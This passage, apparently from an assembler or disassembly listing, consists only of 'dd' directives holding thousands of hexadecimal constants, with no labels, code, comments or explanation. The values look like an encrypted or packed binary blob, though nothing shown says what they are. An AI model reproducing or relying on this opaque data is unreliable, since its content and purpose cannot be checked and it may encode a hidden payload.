1BE6C0C5h, 237CC036h dd 7C7EE101h, 0F2E91D65h, 58FA012Ah, 3F55595Ah, 0FC7F78E3h dd 8092944Dh, 3AB0DC03h, 9C90CD31h, 985A6B40h, 42240B63h dd 0C4556FD5h, 65E91ACEh, 52D7A22Bh, 0F229A0A3h, 0A93A1F1Eh dd 2DD0929Bh, 3FF47AD0h, 157817F6h, 17FF20Dh, 352B202Fh dd 122F05E9h, 0F902EAF2h, 0FE0114ACh, 0E95778CBh, 0C9376630h dd 251AA968h, 47F02E4Bh, 0B4E55B09h, 0F3225DD1h, 9B5D1B0Ch dd 0F1C7C937h, 12FAA26Bh, 9D91A268h, 0F5F7F2E2h, 0FDD3D7F7h dd 553C895Bh, 48B71E46h, 96165465h, 297EC2B7h, 9A92AEC6h dd 0F2C4F6B5h, 66645FDh, 5B5F17E9h, 4EAAD51h, 10F3BE86h dd 8BBAC02Eh, 0A2CCF6FCh, 6F4D6AF8h, 0C1FE12F7h, 0C0DD805h dd 0D6064FBAh, 0E1968324h, 0F80520FEh, 0B9FB00BDh, 6F682038h dd 7A62942Fh, 51603AC1h, 55994207h, 7E92C202h, 40734226h dd 5B3AF030h, 0DC591059h, 4671DE20h, 0D8B5C498h, 387603D4h dd 9335562Eh, 40530BA0h, 48597CB0h, 9A72D50h, 0ED1E803Ch dd 5AF01D24h, 40C3A903h, 68155808h, 50782619h, 6C09D30Fh dd 0C8596F97h, 2785405h, 870F1FB0h, 0C54BAC8h, 2A802BFh dd 0C0D9293Ah, 81CA3FF4h, 2BB86B57h, 0C7DD518Bh, 85A2A720h dd 9A5C6DC2h, 34516861h, 54C4003Ch, 0BFAFD108h, 4BA463F3h dd 0A9C0B5D2h, 0C00476BAh, 557357F1h, 0CF890B05h, 12AE32E9h dd 0A26CEB31h, 0F20525E9h, 0D1E711FCh, 0D1C83C9h, 5F618A16h dd 7DFAD2C6h, 0AE9F1766h, 0DC6D88C6h, 0B16ABC4Ch, 99BBDA13h dd 0EA0C5036h, 223742Eh, 0F50D7CADh, 1F2EE160h, 0E07E0141h dd 210043A8h, 0DBF75B34h, 1D83E381h, 8F276736h, 46A107F3h dd 5039E903h, 6C146897h, 91851895h, 6D96054Ch, 0BE1278E9h dd 6468B830h, 0E016AB72h, 0E80D54BDh, 28D57787h, 606D2F7h dd 1B850F4Dh, 450C4327h, 0FEC03E9h, 0B6B20A5Bh, 2EDC565Dh dd 0C729001Bh, 5EFC158h, 9BCF8103h, 0B765D410h, 0DF30D791h dd 9DFE01D8h, 0F9977416h, 0E15C120Dh, 5DE67B56h, 85CEB692h dd 6F5359F4h, 33A09D02h, 0BA77F4Ch, 98653381h, 0BAD9255Eh dd 9568D603h, 59BCA098h, 347E3F15h, 0E08859A8h, 0B309350Eh dd 825C2603h, 0DF696516h, 788ED0A1h, 8BA2EF29h, 2BDB2977h dd 514F5561h, 46896806h, 16675FCBh, 0CD8BB9Ah, 0F0BA41ADh dd 5E7CB768h, 9C82969Ah, 7175726Ah, 0CBE94FFAh, 0D69BFAD6h dd 1A24C904h, 24CF297Eh, 9BF6791h, 0A5E5FD14h, 0A838D96Bh dd 0E4C2008h, 0F4EC160h, 92BCD288h, 51BA31A3h, 364925E3h dd 1A152E10h, 0D613688Eh, 0EE5B91A2h, 0D1C0ED24h, 58EE1E5Ch dd 71099E19h, 27D5E74h, 7FB179C8h, 3843198h, 6DB0BBD7h dd 0B05006F7h, 0E2753458h, 0EDF3C062h, 0D898C202h, 2AB0B5F9h dd 0C14EABE9h, 41910828h, 0C64560B8h, 0E78ABAB4h, 933FEF02h dd 0A6140A25h, 689D2F1Ch, 16B6286Eh, 0F850107Fh, 0A09A1CB7h dd 20761C2Fh, 5B5AB342h, 36B741A8h, 0F33F3BA7h, 6FC49EA0h dd 162006CCh, 1DE16BDh, 43EC0955h, 0D1B568D0h, 0B687C7FDh dd 0E92F064Bh, 666D84ECh, 560E88AAh, 348FFF45h, 0EB445455h dd 8AEDF009h, 78B69E22h, 26C03EAh, 0B973E91Ch, 0EBB3AB85h dd 31C8EFD3h, 2C3E600Eh, 275D86BAh, 4C9E0B59h, 7B85049Ah dd 21824FC7h, 26C5982h, 278A2ECBh, 4B8242D7h, 0B364ACBh dd 0BA62B257h, 0A10B458Fh, 5493537Bh, 0A97D27B1h, 38B55100h dd 5339C580h, 0F6D7B71Ch, 4AF71EBCh, 0CBE3CFCFh, 93B082C7h dd 602D00C4h, 905AD0F3h, 3815FB0h, 453918F7h, 0D79CE94Dh dd 0BFD85242h, 2FE1C949h, 54A913F0h, 128CD1C3h, 0A8310304h dd 285F05A8h, 11B86759h, 0B7EF5E2Ah, 0AD74DDB8h, 4A1682A7h dd 824379B8h, 85ACA218h, 7BBDE582h, 3A2C8B74h, 0B1873C85h dd 0A6817AF7h, 0B27AEBBDh, 2C48DF59h, 860F0126h, 6C011AF1h dd 0CE01B5F0h, 0CA20E7Dh, 28A18670h, 71C3F55Bh, 0FCDB95A4h dd 3C788608h, 5D2D0B48h, 12C5D19h, 8000B0BBh, 0C3E6F5F6h dd 0F3489770h, 0E5B475E5h, 3A6E488h, 0D2F602B2h, 804AE8C9h dd 2D2C2A13h, 1F6FB652h, 0D46ECE80h, 0FA4BC0EDh, 58C01973h dd 7916976Fh, 0D0B4AC70h dd 4756F13h, 1FA64088h, 98C42D59h, 0DEEB8821h, 0A7E79C05h dd 2A88D189h, 0FD526566h, 75F6AA14h, 5301397Fh, 0B85B6192h dd 0D5FCC54Dh, 0D3428DEFh, 2ADCCCE2h, 818FB609h, 0DEF68243h dd 0D0500A85h, 0ED0984EEh, 4D235E4h, 4DFE1C01h, 50602BB2h dd 8462BEA6h, 867D1EEAh, 0F70C0C12h, 0C276DD20h, 5FDE1892h dd 84A0CBBh, 74974073h, 2584C3E5h, 0BD552E88h, 7328560Bh dd 23300962h, 58F9309Dh, 32AAFCEh, 51BD0CF5h, 0ED703D23h dd 33289518h, 82E55834h, 0B76EE07Dh, 0FE2EC7B5h, 0C209EEC7h dd 12A4C4F4h, 0DBFD26BDh, 59F15E97h, 7BCBD92Eh, 58A0BCECh dd 0AC4BDDE9h, 890E634Fh, 997EC037h, 0AF62D2BEh, 0FD5B672Ah dd 0B0E9B041h, 0A1109DC5h, 0B1251F51h, 7C5880Ah, 0FF965D27h dd 5E76FB01h, 2DB2055Dh, 0F83A6A68h, 0E35807D1h, 9FA4BE9h dd 0A7DC5D5Ah, 2D1B445Ah, 8438F963h, 101D5205h, 0F54E77B1h dd 0FF212B53h, 3A077908h, 50FC11D1h, 6C9C00B8h, 0DB0D4AEDh dd 30EB0F54h, 395BCA34h, 0F7081842h, 0CC4861D8h, 89E4162Ah dd 992A3ADDh, 0C569D34Eh, 0DA0104FCh, 5A43E2AFh, 0C38026F9h dd 58FD4373h, 81527297h, 646B5A08h, 5812FBFDh, 0C13AD9A1h dd 218D3FFh, 0A797D5Fh, 75BC29C9h, 0B5F25E98h, 855B7BB7h dd 987D4468h, 0C8606FCBh, 771CBD26h, 553F249Bh, 7E3B8302h dd 0E0201A58h, 0B91CEA8Ch, 0B35307E5h, 65DD07A8h, 14DE35Bh dd 5095B252h, 0E3C9D488h, 1486E0A4h, 162DECB8h, 0F27339D6h dd 5EABC82Bh, 12A4A431h, 0E67D1668h, 0A5E2D318h, 0DA77FF86h dd 0F920B82Dh, 4AC88CBBh, 78D68361h, 60F565FCh, 11F4E94Ch dd 91C223C0h, 2F62E35Ah, 98D7D329h, 0C40227D1h, 752A5C7h dd 90D1D8F6h, 0E021C288h, 0ED1036D5h, 0AB0F1ECCh, 0AE504532h dd 80B5D2B5h, 70109145h, 55DC46F6h, 0B4562028h, 68743416h dd 1F98C242h, 0E5785DEFh, 46E512C1h, 0AAE73AB5h, 0E4414003h dd 67D9275Ah, 4655ED0Fh, 388F2758h, 0D91904B2h, 685601B4h dd 7438573Eh, 0BDF716C5h, 0A8C8DE1Fh, 0EC6804CCh, 0C9BBA85Eh dd 258BF09Bh, 3CF7C329h, 3D1431E3h, 62EF280Ah, 0B9F81939h dd 32D8598Ch, 24838266h, 64A43C1h, 39BAA8F1h, 1A7164AFh dd 0F089161Fh, 27434C49h, 66035E9h, 0F6BD3C87h, 0CC7F5ABBh dd 3A99029h, 1B590C76h, 0B197ABFh, 5EA5F729h, 29F2657Dh dd 8D8E67FFh, 3D8C22B7h, 0DEB41031h, 0F2B0AD2Fh, 555A4945h dd 0ADAB3F1h, 9CBF0479h, 2E2B813Fh, 0D1B37BE3h, 0C05AED94h dd 0C02C59D7h, 0F55FCB90h, 92F40BDh, 29A7E143h, 0C0B39F83h dd 0C8D9BE85h, 0A559B86Ah, 0A9B7FC04h, 3BC1E0EBh, 0F8DBE91Ch dd 0E69E772Fh, 24B3AE20h, 0FB4FE01h, 254410B4h, 0C4F3EA5Fh dd 0E044E985h, 0F734587Eh, 63F164DFh, 0A0E8103Bh, 0A985CA4Ch dd 5CC0FA7Ah, 284716CDh, 1EDD28E6h, 24C95439h, 2853F81h dd 8129674Ch, 75EAD1h, 5411685Ch, 0BC21C93Ah, 96183DC6h dd 27BA150Bh, 0C54C0BCDh, 8023853Eh, 0DA35D226h, 0FA011502h dd 0DB9005E9h, 23840C11h, 564CC93Dh, 9900D361h, 0CA95E82h dd 65A82E68h, 995B65CCh, 31813F96h, 0FC48466Ch, 0DD01163Dh dd 65630440h, 80FE126Ah, 7C32A433h, 4AEA084Eh, 399E5FFFh dd 1208D734h, 0A9200985h, 842FA304h, 557F9B1h, 8D0FA4C1h dd 0AE0DD5FEh, 6F7FB22Ch, 0AE16D18Fh, 0C42A5012h, 1A016809h dd 511ECF59h, 2A7EDF42h, 25E2D04Fh, 0B3C852E9h, 21882C6h dd 0A40C6E9Ch, 64F2D37h, 8831672h, 68140C40h, 9573D731h dd 4981F244h, 0B11D3BEAh, 0E0F1EC2Ch, 0FCB82BE1h, 3792E9F0h dd 4CD1F1B5h, 18B70BA8h, 0E4533C6Bh, 9C70955Fh, 791F6EEh dd 66948A8h, 2749748Bh, 15EEB464h, 0F9C9CEBDh, 0A9EB0415h dd 0E520AA30h, 893F028Fh, 40EC753Eh, 616C7418h, 3050382Dh dd 2563F129h, 26C8982Eh, 0FCBD5452h, 86717A54h, 0CB685BE0h dd 0CE46B77Ah, 2A76BF03h, 0EEBD6C07h, 99C0BD0Bh, 842E4E17h dd 2D0FB07Fh, 3174C20Ch, 3F3157C3h, 2D053CD7h, 7B9F825h dd 677C3559h, 49945C06h, 64DD6B17h, 85050BEh, 0DA058E58h dd 0B312ED68h, 183D640Fh, 5AE1E50Eh, 4EA2944h, 2A2D0816h dd 99596726h, 80966A1h, 1FDEB2FCh, 7B35C480h, 1D21B6A4h dd 885A85F4h, 287321E5h, 307630ECh, 0F62C72B8h, 2714A1DBh dd 2EBA7F8h, 53290F3h, 189D0157h, 7E7B0E37h, 823E5A04h dd 0E023A816h, 4A1347E9h, 120EF701h, 63AB5BD9h, 0EED4F2C5h dd 698984D8h, 2D51C07h, 55302955h, 7A95B6E6h, 5508822Bh dd 0B92C3BEBh, 0E9D0705Ah, 755863BEh, 0EE850294h, 0B0EE3D65h dd 34BA5539h, 0BF4E5E24h, 29023200h, 0FEF38910h, 0F4B95F8Eh dd 592453DCh, 70036907h, 0B0401E72h, 301CB0E1h, 0C40C4B48h dd 430DEC3Ah, 0C787CBE9h, 0F2230CD4h, 0B7CA900Eh, 582C3200h dd 9B96F828h, 93EB9708h, 0B1C507F2h, 0ACCFB4EEh, 0C55A7B89h dd 5CDE3CAAh, 0C878575Eh, 0BAF05A88h, 0F5F9BC2Dh, 6812332Ch dd 0D62BBC95h, 5E0BAE01h, 0D2603DE6h, 4651B7FFh, 58E11D39h dd 8321CE57h, 3C8161AAh, 62639ABBh, 9C12200Fh, 6D314405h dd 0F9535BE9h, 2E26CBA0h, 17277C16h, 1ADE65ACh, 0D960F0ABh dd 0F87A88F2h, 0C405934Bh, 0D0A8D331h, 17534E74h, 9352FF07h dd 2A858380h, 7C0B606Dh, 53DE6CF6h, 678B015Fh, 30C97359h dd 2C68C0A2h, 5BD636CAh, 6584E950h, 0AF0B0AB7h, 0D48DCB83h dd 410A6802h, 0E5DF64ABh, 109A689Dh, 0B151033Dh, 0A7E18010h dd 132F133h, 0C9FE290Ch, 20E3B450h, 0F4FC81F4h, 25E90C1Fh dd 0B9DFE825h, 1773D38h, 9639A500h, 0BC800F06h, 0ED2DA4A8h dd 29173003h, 18B3BDE9h, 0B8AF3AC9h, 6C127EB9h, 680E32F5h dd 223CFC0h, 0C4BAA1E9h, 52EC0F9Ch, 4D662EDCh, 0BB0416E0h dd 77834727h, 0F3447287h, 6EB66802h, 51E9307Dh, 6C2F19B9h dd 78B640BFh, 90522734h, 0B055AFBh, 6CB07969h, 79C08DFh dd 25777827h, 0C55AB74Fh, 1D5E995h, 4CBFF62Ah, 0E95109BDh dd 0EAA17016h, 0AAE6BCAh, 62AAC4FFh, 572915C0h, 68CC9E56h dd 24BCB48Fh, 1D7D2D23h, 0DBE91E2Fh, 0E8B1D7A6h, 0DAB5071Ch dd 81124CB8h, 1632BE44h, 13C75B5Bh, 0D75EB843h, 0C274AE8h dd 10099573h, 71586619h, 75A2978Ah, 0CE414D06h, 0FE13A5DBh dd 70C31F20h, 5C0F6BFh, 0C74BC30h, 0BF8FC01h, 935CE930h dd 0FCD69C5Fh, 46D65C1Eh, 0A82CFFF4h, 4657128Eh, 0D67DB832h dd 0E947E502h, 0C6205DBCh, 0A657D8B9h, 0EA9D0798h, 0AE4160E0h dd 0DEE91226h, 0C93CE4CAh, 35DAEC05h, 17F9D101h, 5D70E983h dd 28CDFF85h, 0F108ABE8h, 2C12726Eh, 4C7EC500h, 14049D20h dd 0C34E802h, 0D160548Ah, 4FC01F5h, 0E9897ECEh, 8439968Bh dd 6B9A1A22h, 44F2D19Ch, 0EEC6303Fh, 775E862Ch, 737699B0h dd 39E91A1Fh, 30805BFFh, 32F41360h, 2553593Fh, 0ECEBA8ADh dd 0A5FFD6AFh, 5012F3D3h, 0A95FD1BCh, 59EEC0E0h, 954FFA06h dd 80C7FEAh, 2A12E10Ch, 741C0BABh, 39FA01D6h, 315AFCB1h dd 0DC2B9A97h, 0E9095696h, 0E5010A53h, 0C7FBB86h, 0DF4EF206h dd 1F3B8040h, 10EACE43h, 0E9090828h, 2AA7DA37h, 0C37201F7h dd 7BD68057h, 1623307h, 0F561B5FEh, 13A87395h, 0CBBA14F7h dd 20EA4E26h, 0F7BBE933h, 0DF1CF991h, 50F47E4h, 0A30F1354h dd 0F531835Fh, 0EF21E85Eh, 0A423C65Dh, 0F7100A37h, 0E9261FD3h dd 0C10A3398h, 376161E2h dd 0F81BBFF9h, 5524638Bh, 82759C8h, 510F4C3h, 0E35E4068h dd 27011370h, 0BD5FB7F2h, 0A2D5977Fh, 99638BFEh, 0E22B54EAh dd 0C2BECBEFh, 3A484160h, 595AB452h, 622EBE15h, 1C7FAD46h dd 9F2631F4h, 0A5554614h, 0DDB00B0Eh, 0F2255845h, 0FDEC2773h dd 0F2643ADEh, 3C4A52FCh, 7D411761h, 0FCC3A46Ah, 48A56D16h dd 30E9C8B0h, 0BF207174h, 0B0484342h, 0CC5E261Bh, 2216D7ACh dd 0EA32D4EBh, 2D7BB5A5h, 13667A2Ch, 0F251B70Eh, 0F542E9C3h dd 0A2C545ECh, 578D7249h, 7D6FEE55h, 80B840E9h, 7CBDEF2Fh dd 85983DB9h, 0C4F11734h, 3BA82EE1h, 0C397A73Ch, 0AF330CC5h dd 51EC223h, 828BD588h, 75C79ADCh, 0E9415659h, 882A7AD8h dd 6F16878Eh, 84BA1676h, 0B30812C8h, 0C5582DB7h, 176E853Eh dd 68640201h, 1AF771D7h, 112E615Fh, 5FBE5600h, 5CDD1900h dd 9C7F6DBDh, 0F529046Eh, 0E4B06BE9h, 0D30598A5h, 0DE018C8Bh dd 0D3F4B038h, 268E81BBh, 0CC198DE2h, 13617BF8h, 0D4C0863h dd 718CEE00h, 0CE0172A9h, 8800AB0h, 557090E9h, 50C58DB4h dd 1B8DFBFh, 840FC90Bh, 56742C94h, 0B6164B9h, 158DBD10h dd 2B8F1BECh, 9425A6F2h, 0FE44A147h, 0DD078032h, 60D4623Dh dd 26565AC9h, 4E4A337Bh, 12427812h, 0DD04E0C1h, 8640C2A9h dd 34481412h, 137F27CDh, 38B6C702h, 1E62905Dh, 0D3122D5Eh dd 0BDDCC0F9h, 0A45E0152h, 0A20711ECh, 9E36372Ch, 8C214DEh dd 0EDE5D2Fh, 0E960DF0Ch, 601B5940h, 0C256D080h, 0CA0B8116h dd 836F6006h, 4BA21DD2h, 0EAC2C47Dh, 32E9DA70h, 4853CEABh dd 0A713E1C7h, 0C2376C9Fh, 4E71BF1Fh, 0C3DBDEEDh, 587EFD6h dd 55F2EB5Fh, 50E80AB2h, 721D6405h, 0DA5C2DFEh, 0F553B609h dd 3FF57203h, 0E378916h, 0FB9268E2h, 5FB8B75h, 4F93F6DFh dd 7924586Ah, 0E5169964h, 4577647Fh, 1B800F12h, 713EDCB1h dd 0F3E4ABE5h, 5F5D28ECh, 5C4B0152h, 945A611Ch, 7807C7F4h dd 49A2DC9Fh, 9F69467Dh, 30D0E811h, 7FE13B4Eh, 0BF5F25F6h dd 0E90CD12Bh, 31160523h, 0BFA892D7h, 194CFC5Bh, 0F5315C7Ah dd 3F82C96Ah, 0CFF11213h, 0C5ECBC2Eh, 43B08568h, 0E33C54E9h dd 39CD0481h, 0BB7E0352h, 5EB634C0h, 0BA7F5097h, 0B53C170Eh dd 0A8545C4Bh, 2AF29008h, 99BF69Dh, 0C07827C1h, 57609D82h dd 8B27ECECh, 34C9DB0Ch, 0B44B800Dh, 592DD03Eh, 73B7604Eh dd 8A357838h, 126F1740h, 0F7406401h, 0F28142DAh, 4AD5FCD8h dd 54C0AFD4h, 3073CEF5h, 74BC48F1h, 606BBA46h, 4711CB0h dd 0A052AAF6h, 0AB708073h, 6213FB32h, 46BE5FE9h, 7A04E50Fh dd 0D825E318h, 730AC256h, 0D929982Ah, 70052474h, 688011CFh dd 3D665808h, 5702BAD3h, 61024914h, 0B46AE745h, 8B972590h dd 0C53D020Fh, 184A769Bh, 5D53ABEBh, 1008B900h, 366837CCh dd 61CF946Bh, 0CC9E3D0Ah, 0DEA9E2E9h, 76456E66h, 89AAA837h dd 0A3B6E01Dh, 9FBE4695h, 5CA78B8Ch, 5697F677h, 70D3423Fh dd 0ED58E913h, 2B80CC2Ah, 3DF8B94Eh, 10C43DB9h, 777B4DE6h dd 533549ACh, 0B400614Ah, 10953659h, 2481A18h, 25BD3009h dd 0C680EBF0h, 0A8064501h, 0EAD9E946h, 26B52627h, 94417215h dd 0BAC081ACh, 6FA24D0Ah, 99D4FCEBh, 681F43FBh, 0FB84418Bh dd 0E9C238E2h, 7F5AB611h, 8EFC103h, 0EAFFC783h, 0BBC5C59h dd 0E473FB29h, 27CA96BFh, 35DBA20h, 811A005Fh, 0C82263CEh dd 0E927500Fh, 0D5E809E1h, 91960765h, 0DF5AB34Bh, 22C3F7A2h dd 0A9CA068h, 29786A05h, 7172DE8h, 60BCDE8Dh, 0BD314C30h dd 48751579h, 0A523200Bh, 134CDE7Dh, 0BA56C563h, 8A5B21F7h dd 8DE90BDDh, 3C8B667Ch, 68439F2h, 8455D5F7h, 4F13F89Eh dd 450B5968h, 60777EFCh, 758A0FE2h, 0E14AC76Ch, 0D789581Fh dd 0AB1C7F4Dh, 757B9Dh, 4B921222h, 0D95BDE9h, 191CCFE0h dd 8E5431E9h, 4A69D97h, 321C4CA1h, 0B2FB6087h, 60E645A2h dd 0E3580CC2h, 0AB8B5FC6h, 534F9216h, 0BC0128AEh, 5A7E312Dh dd 0C2969C8h, 0F30F9A07h, 0F9CA037Bh, 8221842h, 48BA5EF1h dd 21AB02F7h, 0A9125DD8h, 9CE3640h, 0F81A5527h, 0D0F739C3h dd 0E908D831h, 2AEB8F2h, 1B4DD1B8h, 85CE04Fh, 76730F0Dh dd 309E5136h, 6635053Ah, 2A288A0Ch, 29E9EA01h, 0BCFD99ADh dd 76FBA418h, 0C09FE328h, 1D6BEBC1h, 81FCB551h, 5EE92AF5h dd 61922E9Ah, 8DD2F725h, 1DDA240Bh, 5DC98BFAh, 84548AB1h dd 53AEE9EDh, 0C319BD00h, 6097952Ah, 14262D2Ch, 0A257C977h dd 96747105h, 0E1F88470h, 83F83AB9h, 8DBE82A5h, 0A46FC959h dd 0A5129C1Eh, 0A9A53E0Eh, 0BC4BBA0Bh, 7B1E468h, 43194CDBh dd 3754EA02h, 0CD5444F9h, 5426A73Fh, 0DA40EF25h, 5E38B57Fh dd 0FD658CDh, 82BE0D45h, 0D703FA9Bh, 0EA22035Ah, 45626E6Fh dd 8AE35510h, 0B498BF2Fh, 1B0579BBh, 7741E93Ch, 4FF245FFh dd 0C35A2221h, 12A5C784h, 0E8465CBAh, 3A1C0FCCh, 7634682Ah dd 0ECC9E985h, 17E75A65h, 73CFF6Ah, 0F99B3428h, 0E4828542h dd 2F778618h, 9A88028Ah, 0C491DFC6h, 2D55EC8Bh, 0F2150201h dd 5D02920h, 0A6E90740h, 3FF9B7FCh, 0D1FF5896h, 0B4A4C7CEh dd 0F3AAD08Fh, 29FF4F43h, 3EED6B1Bh, 0BB04F32Fh, 4BDDFC89h dd 0E8B3CC5h, 1066884Bh, 0E9619FA0h, 0FFEC192Dh, 5B083920h dd 47648F5Dh, 7BD0F1AEh, 27447DBEh, 89F72388h, 9C4277D1h dd 429FD15Dh, 81F02FE9h, 7E51BA04h, 0A3BE0DAFh, 510992E5h dd 1D78DAA7h, 54F37C19h, 7310B547h, 0F7810170h, 71C61AC3h dd 0BF2F86F0h, 0DCC717A0h, 0F848160Dh, 0BCE9092Ch, 8AC1D110h dd 69E8D97Ch, 78FA0B7Fh, 13AB5E0Fh, 816F60E4h, 2C3103EFh dd 892EFCA3h, 98A25428h, 0CAA02AF0h, 681559C8h, 3A3202CEh dd 0C6800BB6h, 162F5808h, 0D0D3F7E9h, 0DB7C7316h, 614F0F7Bh dd 66B79C7h, 0BD14B9Dh, 4D5506EDh, 85401A02h, 0C5015F00h dd 84519D57h, 93A68993h, 0F833405Fh, 0E91AF52Ah, 0F55D360h dd 0A8B4368Eh, 9B2485CCh, 0C7800026h, 0F4D5653h, 0FBB284F2h dd 597C39BDh, 5AE9E070h, 0F65A0560h, 0E79982DDh, 0DE0CDD0Bh dd 0F4F60606h, 3B88B15Bh, 0C681A154h, 8FD3833Bh, 0EDCAFED4h dd 92A6A94Bh, 842E9FA3h, 0A33B88FCh, 0D5AF02Fh, 133A126h dd 889CA56h, 85988508h, 0E7D159h, 796CB6B7h, 0D74C0113h dd 3A1D4FA4h, 4D849953h, 0E6435682h, 9F5CFAB0h, 0F4AE680h dd 724B9B8Fh, 74447D90h, 1F4C4BE6h, 8B89C34Dh, 1F070102h dd 5864A9CFh, 0BEFCD1B5h, 1F92C9B0h, 0B416E628h, 19C06C35h dd 634127AFh, 0E6F997F1h, 2F826117h, 0B0914661h, 0D9212684h dd 0E9A0FB5Bh, 0E3475E44h, 12DA3DCCh, 0D388271Dh, 0AE5E4B52h dd 0CCBFB5Fh, 0EEA9E979h, 9471FDC2h, 0C68CA4A7h, 0BEE212EBh dd 74B8DB2Ch, 34F00DB0h, 0EE0BAC2Dh, 7C041FF0h, 5F520A30h dd 705D984h, 0F3F96858h, 0BB15E90Bh, 19AE7F20h, 0A7B42BBFh dd 87DFF707h, 31DB872Eh, 0FE3CE962h, 7C596DBh, 759EB72h dd 2E56D2E3h, 109CB800h, 2D4F1E9Ah, 6234C0F6h, 0AD218725h dd 48D030EDh, 5D15050Bh, 0E97A60D9h, 0D1F96726h, 0A0DC74F1h dd 4F09B112h, 558AE180h, 49787289h, 0E04F197h, 841130EDh dd 9137A5A3h, 0A7A8A985h, 9E57D637h, 0EE2E92E9h, 5EF5DF71h dd 820B7460h, 398CEB81h, 840FC844h, 2C8205Bh, 0BCA71326h dd 6A8D010Ah, 901DE548h, 0C6413CFEh, 737605FCh, 4D6F3A6Eh dd 0E8E96286h, 0C6094368h dd 5DDB0629h, 38EB6580h, 7AF50C55h, 8013D84h, 2EAF685Eh dd 0E23FF34Dh, 92C0A5CDh, 12F01E11h, 0A0A1E948h, 0C327301Fh dd 65727953h, 0D3080138h, 8185C3E9h, 2725C5A5h, 0A24166ADh dd 216DF54Ah, 38FFB825h, 4A59DFF7h, 33E02C5Bh, 0B0509340h dd 0F8A94B87h, 0DEF785DBh, 94FF2781h, 0E3C7C610h, 0E922C809h dd 896879CDh, 51981487h, 5273D088h, 0B89BC275h, 0FEC1E985h dd 808385BCh, 0F39A16E3h, 2CC52040h, 8EB4503Eh, 0D58E528h dd 97F598DDh, 5EEF4145h, 0AD4DC95Dh, 0D99303DCh, 8E5FDB4Fh dd 7CEC1387h, 6205E8A2h, 91E32500h, 0F6453870h, 9FC37076h dd 6858BD5Eh, 0B3164B94h, 4E82706h, 11AC6646h, 12889574h dd 0D0542708h, 95551DECh, 1134F410h, 980FE3A4h, 6C97045Fh dd 0F846D16Ch, 2B1F09E6h, 620130C8h, 802278EEh, 288FCF18h dd 2CC13FA9h, 0E503E7h, 7CB5575Fh, 80A1FE09h, 0BAB18FEEh dd 29CBC76Ah, 7B9CD115h, 5C580CE9h, 0D50C6F67h, 0CA426E3Ch dd 0C128B9F8h, 3EA18008h, 61262E22h, 0AB031381h, 0CF498DD0h dd 916F5B57h, 2B12C2ADh, 0F9305E31h, 5F0FBB00h, 814E1606h dd 0A10D0DF3h, 127D8004h, 8E14524h, 521F91DAh, 5FA9BDCBh dd 5BFDFB22h, 5CA6C5A3h, 8F00B13h, 0D594CEFDh, 3C595705h dd 0C14EDC43h, 4B32BB01h, 8DFCE979h, 0F41E8005h, 0A494713h dd 3127E77h, 29BE0104h, 0FD96030Eh, 24EA372Dh, 0ADE35E0Bh dd 15300C4Ch, 1022C125h, 895EC825h, 0DFCD09CAh, 184A646Ch dd 0A9D75AACh, 63B94E9Fh, 5D270E96h, 0BA6E22E5h, 5D296D09h dd 3F0BAF88h, 1D31C8CBh, 2480D240h, 0BA909C3h, 388428ADh dd 0A3B5EB91h, 3AE2CF8h, 247C292Bh, 0A1AC5F0Ch, 0EB53A5Fh dd 1F5B1103h, 96E0413h, 43FD2D02h, 926CE237h, 514000Ch dd 5F1ABD52h, 0F902BF59h, 55DAE953h, 0EA4DF284h, 7C6E14C2h dd 21B66062h, 4B486DD2h, 465C000Fh, 9DE91058h, 61CC9CA0h dd 0C6FFC9B1h, 0CB5DF9FFh, 0A7247FCCh, 92BF3EB2h, 0FEB8C414h dd 9B066E01h, 3BF3316Ah, 0ED2518F6h, 0C5D0FC0Bh, 6CB77C4Bh dd 0B9638D48h, 37254D45h, 0B450788Fh, 1EC8899h, 2012162Ch dd 0E4B48530h, 0BF629851h, 7116C27Bh, 8B3BFBACh, 1281B5F8h dd 4055CD2Eh, 0AA0990F1h, 3E562358h, 58BDFA70h, 7610B18h dd 43D057E1h, 5AE3E207h, 0DA853F47h, 5CBD7D80h, 551B48C2h dd 2119D338h, 0EC060C37h, 699596ADh, 173F68F2h, 6CDDAF98h dd 20AB5AC2h, 71959E1Ch, 18F769CCh, 5EB8E985h, 5A22F3F5h dd 101F94D1h, 5A747A56h, 62CB2973h, 0D954789Fh, 3BE326A1h dd 2661078Ah, 0E97BA7BEh, 0C0537F51h, 845A0A01h, 4E70AEDBh dd 4F09035Eh, 0F69CE91Ch, 29B0C05Eh, 0E7055E24h, 88E64E41h dd 199DA410h, 0D58ECDFEh, 0B56B5B02h, 7558EF9Ah, 9D533F14h dd 0ACF70282h, 0E30FA272h, 841000C3h, 31587174h, 2D6BE9F9h dd 0BF3EF775h, 680070B6h, 43730115h, 0E68B170Fh, 221AFA3h dd 8FA9EDA6h, 25612BF9h, 0D1F8366Ch, 4941E695h, 2C98BAC8h dd 0A2260FBCh, 0E99D5016h, 9AE5A354h, 0E27E5E49h, 64AA107h dd 0B8BAEF48h, 6BF1D19Dh, 5BE4157Ch, 2EACCEAh, 251A270Bh dd 9F80F531h, 0E66560EBh, 490C7667h, 55208C62h, 80DB36Ah dd 0C514040Ch, 4AB48EA1h, 38E9DE9Ch, 0BE5E76B3h, 3D6ACA29h dd 68C3E4F1h, 0F7177E2Ch, 714446C2h, 1129888Dh, 8EFB5D16h dd 68520B2Eh, 54E25AF5h, 9BA9D5Bh, 75626F9Fh, 0CAEADE20h dd 364A7EE5h, 680A80FCh, 0A73D73DAh, 5A9F99D0h, 4EE913A7h dd 0EB8140ADh, 1D0B5241h, 0D188DDDFh, 885305D2h, 0EA6583D7h dd 2DED2D03h, 0D964A45Ch, 0BD76B43Dh, 0C740EC1Ch, 3BFE52CCh dd 4692A506h, 0E5FC7695h, 89EC6051h, 0D3A15BD9h, 0D5CA3F59h dd 25688244h, 7E5678FDh, 0E747E9C1h, 0F6CFE105h, 0F571DE2h dd 7F553ADEh, 24EA4F81h, 0E927EC30h, 0DC974127h, 0B6555A9Dh dd 0F9E93066h, 6D59B8CDh, 29415E17h, 3C1B41BAh, 407C1A74h dd 5F3211A5h, 820C6C6Fh, 7DF3212Dh, 2E2A9D61h, 0CB68E483h dd 1257270Fh, 0F502ABFAh, 0CE7F0A6Ch, 49527C89h, 0ED8256A4h dd 0CC501B9h, 5B68016Ah, 0A902BBFFh, 0CB2A62EFh, 45ED1790h dd 0D85E2FE7h, 824FFBB7h, 6583AC27h, 7E8E4D08h, 0B5B9F278h dd 2EBCEC5Eh, 0F83970Bh, 3F83E786h, 0FCDBAC5h, 9478ED31h dd 0E2D10066h, 9388130Fh, 0D8C345D7h, 40599851h, 5E3AF565h dd 